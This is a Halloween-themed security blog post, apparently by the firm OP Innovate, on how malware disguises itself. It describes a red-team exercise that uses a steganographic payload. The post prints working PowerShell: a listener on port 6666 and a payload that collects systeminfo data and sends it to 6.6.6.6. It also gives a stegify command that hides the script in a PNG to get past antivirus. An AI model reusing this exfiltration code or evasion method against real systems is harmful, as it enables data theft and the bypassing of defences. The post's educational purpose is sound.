Ghostly greetings one and all. On Halloween night, children the world over dress up in scary costumes and prowl from house to house, asking wary residents for treats. This is known as “Trick-or-Treating”. The most interesting part is that the word “trick” is used to imply a “threat” of mischief the children will perform on the residents or their home if no treat is handed over.
As we will shortly see, costumes are not just for kids or adults! Software can don a disguise as well, and in contrast to the traditional Halloween “trick or treat” declaration, it wont give you a head’s up as to what’s about to happen if you don’t comply.
As most of you are aware, some software packages are assembled to cause great damage to unsuspecting users. These are known as malware. Now, malware can be categorized into several types: viruses, worms, Trojan horses, ransomware, extortionware, logic bombs, spyware… the list goes on and on.
We won’t get into every type of malware in this article. Our takeaway here is beware –
“The devil has many faces”
In this section let’s take a look at the different disguises malware adopts and the various methods of obfuscation malware makes use of. But first, you may be asking yourself, why does malware need to disguise itself in the first place? The answer is quite simple! In order to cloak its behavioral patterns and help it bypass detection by the firewalls, anti-malware countermeasures, intrusion detections systems and more that would expose its dastardly intentions and shut it down.
So without further ado let’s explore somemost methods of obfuscation:
So now it’s time to demonstrate a practical scenario that uses malware obfuscation, in this case using Steganography.
OP Innovate Red Team was engaged by an organization to conduct a Red Team exercise.
The challenge: Steal sensitive corporate data.
To do this we’d need to bypass the corporate security controls, take over the internal network domain, and somehow exfiltrate the data undetected by data leakage protection (DLP) measures. Our recon showed that the organization’s perimeter is protected by firewalls and that endpoint computers inside have endpoint protection including antivirus software and other anti-malware countermeasures installed. So we decided to obfuscate the malicious file using multiple methods.
For demonstration purposes we will focus on one particular obfuscated malware – a StegoMalware.
This malware works by grabbing sensitive information from inside the system and sending it back to the attacker.
" ___________ _____ _ | _ | ___ \ |_ _| | | | | | | |_/ / | | _ __ _ __ _____ ____ _| |_ ___ | | | | __/ | || '_ \| '_ \ / _ \ \ / / _` | __/ _ \ \ \_/ / | _| || | | | | | | (_) \ V / (_| | || __/ \___/\_| \___/_| |_|_| |_|\___/ \_/ \__,_|\__\___| " #listening server $port=6666 $IPEndPoint=New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any,$port) $TcpListener=New-Object System.Net.Sockets.TcpListener $IPEndPoint $TcpListener.Start() $AcceptTcpClient=$TcpListener.AcceptTcpClient() $GetStream=$AcceptTcpClient.GetStream() $StreamReader=New-Object System.IO.StreamReader $GetStream $StreamReader.ReadLine() $StreamReader.Dispose() $GetStream.Dispose() $AcceptTcpClient.Dispose()
$TcpListener.Stop()
" ___________ _____ _ | _ | ___ \ |_ _| | | | | | | |_/ / | | _ __ _ __ _____ ____ _| |_ ___ | | | | __/ | || '_ \| '_ \ / _ \ \ / / _` | __/ _ \ \ \_/ / | _| || | | | | | | (_) \ V / (_| | || __/ \___/\_| \___/_| |_|_| |_|\___/ \_/ \__,_|\__\___| " #attacker’s payload function Get-SystemInfo { param($ComputerName = $env:ComputerName) $header = 'Hostname','OSName','OSVersion','OSManufacturer','OSConfig','Buildtype', 'RegisteredOwner','RegisteredOrganization','ProductID','InstallDate', 'StartTime','Manufacturer','Model','Type','Processor','BIOSVersion', 'WindowsFolder' ,'SystemFolder','StartDevice','Culture', 'UICulture', 'TimeZone','PhysicalMemory', 'AvailablePhysicalMemory' , 'MaxVirtualMemory', 'AvailableVirtualMemory','UsedVirtualMemory','PagingFile','Domain' ,'LogonServer','Hotfix','NetworkAdapter' systeminfo.exe /FO CSV /S $ComputerName | Select-Object -Skip 1 | ConvertFrom-CSV -Header $header } $TcpClient = New-Object System.Net.Sockets.TcpClient $TcpClient.Connect("6.6.6.6",6666) $GetStream = $TcpClient.GetStream() $StreamWriter = New-Object System.IO.StreamWriter $GetStream $positions = Get-SystemInfo $StreamWriter.WriteLine($positions) $StreamWriter.Dispose() $GetStream.Dispose() $TcpClient.Dispose()
The challenge: The malware has been successfully delivered to the HR manager but the anti-malware countermeasures prevent it from running.
The bypass: Using some form of obfuscation in order to cloak the malware.
stegify encode --carrier .\pic_original.png --data .\systemInfo.ps1 --result pic_malicious.png
One of these images is malicious. Click on the one you think contains malicious code and contact us for more details!
OP Innovate was established in 2014 to defend global enterprises from the increasing challenges of organizational cybersecurity. Our team has unmatched expertise in cyber research, penetration testing, incident response, training and forensics. Our team members are exposed to cutting-edge responses to today’s most critical cybersecurity concerns allowing us and our partners to remain ahead of the bad guys.
Written by Dan Shallom, Cyber security researcher | Certified Ethical Hacker (CEH).
Comments are closed.
I really like it when folks get together and share ideas. Miguel Muncrief